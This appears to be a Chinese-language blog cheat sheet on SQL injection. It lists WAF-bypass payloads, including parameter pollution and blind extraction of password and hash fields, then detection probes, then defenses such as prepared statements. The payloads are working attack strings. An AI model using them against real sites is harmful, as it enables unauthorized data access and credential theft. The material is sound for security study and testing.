SQLInjection

SQL Injection&Blind SQL Injection(SQL注入与SQL盲注漏洞)

一、绕过WAF的方法:

  1. 大小写绕过
  2. 简单编码绕过
  3. 注释绕过
    如?id=1 uni//on sele//ct 1,2,3 #
  4. 分隔重写绕过
    适用于WAF采用正则表达式检测所有的敏感字的情况,可以通过注释分开敏感字,如?id=1 un//ion sel//ect 1,2,3 #;至于重写绕过,适用于WAF过滤了一次的情况,如uniunionon,有时候可能还有多次过滤的情况,这时多次尝试也可以。
  5. HTTP参数污染(HPP)
    如?id=1 union select 1,2,3 from users where id=1 #
    这时可以改为?id=1 union select 1&id=2,3 from users where id=1 #
    次数&id=会在查询时变成逗号,具体细节取决于 WAF ;
    这个例子也同理:?id=1/
    /union/&id=/select/&id=/pwd/&id=/from/&id=/users #
    如果服务器代码为: select
    from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’].” limit “.$_GET[‘c’]; 那么可以构造这样的注入语句: ?a=1 union/&b=/select 1,pass/&c=/from users # 最终解析为: select from table where a=1 union/ and b=/select 1,pass/limit /from users # 可以看到,这种方式比较适合白盒测试。
  6. 使用逻辑运算符 or /and 绕过
    如?id=1 or 0x50=0x50
    ?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74,其中select pwd from users limit 1,1是从 users 表里查询 pwd 字段的第一条记录, 然后 mid()就是取该记录的第一个字符, lower()把字符转换为小写, ascii 把 该字符转换成 ascii 码,最后判断等不等于 74。
  7. 比较操作符替换比较操作符如!=、<>、<、>都可以用来替换=来绕过。
  8. 同功能函数替换
    substring()可以用mid()、substr()这些函数来替换,都是用来取字符串的某一位字符的;
    ascii()编码可以用 hex()、bin(),即十六进制和二进制编码替换;
    在使用在基于延时的盲注中benchmark()和sleep()可以相互替换;
    group_concat 、 concat 、concat_ws 三者可以互相替换;
    还有一种新的方法 ,3条语句分别如下
    substring((select ‘password’),1,1) = 0x70
    substr((select ‘password’),1,1) = 0x70
    mid((select ‘password’),1,1) = 0x70
    都是从 password 里判断第一个字符的值,可以用
    strcmp(left(‘password’,1), 0x69) = 1
    strcmp(left(‘password’,1), 0x70) = 0
    strcmp(left(‘password’,1), 0x71) = -1
    替换,left 用来取字符串左起 1 位的值,strcmp 用来比较两个值,如果比较结果相等就为 0,左边小的话就为-1,否则为 1。
  9. 盲注无需or和and:
    例句:index.php?id=1
    当and和or被过滤时,可以将 1修改为是通过语句生成的, index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123,123 的时候页面是正确的,现在再盲猜 hash 的第一位,如果第一位等于 0x42 也就是 B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是 B,就这样猜,不用 and 和 or 了。
  10. 加括号
    如?id=(1)union(select(1),mid(hash,1,32)from(users))
    ?id=(1)union(((((((select(1),hex(hash)from(users))))))))
    ?id=(1)or(0x50=0x50)

    11.缓冲区溢出绕过
    如id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10 #
    其中 A 越多越好,一般要求 1000 个以上。

二、检测方法:

1、基于报错的检测方法
使用各种符号以及组合: ‘ “ ( %
如直接在URL后添加单引号看是否报错index.php?id=1’

2、基于布尔的检测
最常用的如1’ and ‘1’=’1和1’ and ‘1’=’2 相当于 1’ and ‘1和1’ and ‘0
当返回的结果不同时即有漏洞

3、直接在URL地址后面加-1、-0、’%2B’和’%2B’a
添加-1:index.php?id=123-1,当前后访问的页面不同时,即可确定存在数字型SQL注入漏洞;
添加-0:index.php?id=123-0,当前后访问的页面相同时,再加上-1,返回错误页面,则表示存在数字型SQL注入漏洞;
添加’%2B’和’%2B’a:这里%2B为‘+’的URL编码,当先添加’%2B’时index.php?id=123’%2B’返回同样的页面,而添加’%2B’a时返回错误,这种适用于SQL语句中id值被一对单引号括起来的情况。

4、判断盲注的常用方法
1’ and 1=1 #
1’ and 1=2 #
判断这两种不同的输入是否有不一样的显示,如果一个正常一个通用的错误提示或者啥也不显示,则几乎可以确定是含有SQL注入漏洞的。

三、防御方法:

关键是对所有用户的输入进行严格的检查过滤、对数据库配置使用最小权限原则。
常用的修复方案:

(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

(2)过滤危险的 SQL 语句关键字。

(3)确认每种数据的类型。

(4)数据长度应该严格规定。

(5)网站每个数据层的编码统一。

(6)严格限制网站用户的数据库的操作权限。

(7)避免网站显示 SQL 错误信息。

(8)在网站发布之前建议使用一些专业的 SQL 注入检测工具进行检测。

(9)升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。

其实最有效的防御手段是下面两种

1、预编译:
原理是采用PreparedStatement将相应的SQL语句预先编译好,即SQL引擎会预先进行语法分析,产生语法树,生成执行计划,从而无论用户输入什么内容即使是sql命令都不会影响该SQL语句的语法结构而只能当成是字符串字面值参数。但并不是所有场景都能采用SQL预编译的,如需要进行一些字符串拼接的方式,这时便需要严格检查参数的数据类型以及采用一些安全函数来处理。
其过程如下:
(1)定义预编译的sql语句,其中待填入的参数用?占位。
(2)创建预编译Statement,并把sql语句传入。此时sql语句已与此preparedStatement绑定。所以第4步执行语句时无需再把sql语句作为参数传入execute()。
(3)填入具体参数。通过setXX(问号下标,数值)来为sql语句填入具体数据。问号下标从1开始,setXX与数值类型有关,字符串就是setString(index,str)。
(4)执行预处理对象。
例子:
String sql=”select id,no from user where id=?”;
PreparedStatement ps = conn.prepareStatement(sql);
prestmt.setInt(1,id);
prestmt.executeQuery();

2、变量绑定:
是指在sql语句的条件中使用变量而不是常量,是为了减少解析的。具体的细节网上很多,后面再补充。

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. SQL Injection&Blind SQL Injection(SQL注入与SQL盲注漏洞)
    1. 1.1. 一、绕过WAF的方法:
    2. 1.2. 二、检测方法:
    3. 1.3. 三、防御方法: